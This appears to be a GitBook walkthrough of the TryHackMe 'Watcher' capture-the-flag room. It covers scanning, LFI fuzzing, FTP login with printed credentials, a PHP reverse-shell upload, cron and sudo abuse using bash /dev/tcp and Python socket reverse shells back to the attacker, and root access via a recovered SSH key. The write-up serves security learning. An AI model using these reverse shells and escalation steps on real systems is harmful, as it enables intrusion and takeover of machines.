> For the complete documentation index, see [llms.txt](https://jeffgthompsons-organization.gitbook.io/red-team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/watcher.md).

# Watcher

**Room Link:** <https://tryhackme.com/room/watcher>

### Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="/files/3TkNelDST8g6hbxmpFbA" alt=""><figcaption></figcaption></figure>

### Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="/files/XG8HZ6BxTFpsmmb84hoK" alt=""><figcaption></figcaption></figure>

### TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="/files/hrDvaWTx1ng8DaTR6DCK" alt=""><figcaption></figcaption></figure>

**Kali**

```
ffuf -c -u http://$VICTIM/post.php?post=FUZZ -w SecLists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt
cat results.txt | grep -v 2422
```

<figure><img src="/files/mrohHUXT1dap5Cl4GLu2" alt=""><figcaption></figcaption></figure>

I used my wordlist of common found on [LFI / RFI](/red-team/methodologies-and-resources/cheat-sheets/lfi-rfi.md)  and confirmed I can view files on the server. I did not find anything useful

**Kali**

```
ffuf -c -u http://$VICTIM/post.php?post=FUZZ -w mylist.txt
cat results.txt | grep -v 2422
```

<figure><img src="/files/Qp2ypylPgdghR3LoHzNH" alt=""><figcaption></figcaption></figure>

I remembered we had that secret file as well, I was able to read it and it had some credentials for FTP.

<figure><img src="/files/1DNBminln1sogStQ61x6" alt=""><figcaption></figcaption></figure>

### TCP/21 - FTP

**Kali**

```
ftp $VICTIM
Username:ftpuser
Password: givemefiles777 
```

<figure><img src="/files/AyrEgB8OjYRS2ocvGITt" alt=""><figcaption></figcaption></figure>

**Kali**

```
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cp php-reverse-shell/php-reverse-shell.php .
nc -lvnp 1234 
```

**Kali(ftp)**

```
put php-reverse-shell.php
```

<figure><img src="/files/Kk7kWb32kmiqaZFr2vUN" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bG6O8jnnGpdAJD8edfL1" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

**Victim**

```
sudo -l
```

<figure><img src="/files/H4CtO7wrpSnaLwXA37TD" alt=""><figcaption></figcaption></figure>

## Lateral Movement - mat

**Victim**

```
cat /etc/crontab
cd /home/toby/jobs/

sudo -u toby rm -f cow.sh
sudo -u toby touch cow.sh
sudo -u toby chmod 777 cow.sh

echo '#!/bin/bash' > cow.sh
echo 'sh -i >& /dev/tcp/$KALI/1338 0>&1' >> cow.sh
```

<figure><img src="/files/igjzEeTx2vQpVwFKe9qW" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 1338
```

<figure><img src="/files/Y8r1b6LRAolA2Ry1KlVF" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

## Lateral Movement - will

**Victim(mat)**

```
sudo -l
```

<figure><img src="/files/seHxaJuVCx3WK9TBhHsV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IQMRviFfPMftqgtVtgsZ" alt=""><figcaption></figcaption></figure>

**Kali**

```
nc -lvnp 4242
```

**Victim(mat)**

```
cd /home/mat/scripts/
echo 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$KALI",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' > cmd.py

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1
```

<figure><img src="/files/WlBvV9i9T4x3hEQbXyot" alt=""><figcaption></figcaption></figure>

Get autocomplete

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl + Z
stty raw -echo;fg
```

## **Privilege Escalation**

**Victim(will)**

```
cat /opt/backups/key.b64
```

<figure><img src="/files/gt2yWuFR3sg2rfKBNCPm" alt=""><figcaption></figcaption></figure>

**Kali**

```
chmod 600 id_rsa 
ssh root@$VICTIM -i id_rsa 
```

<figure><img src="/files/7wdcgkAAxNHbKgqQ0KVb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/watcher.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
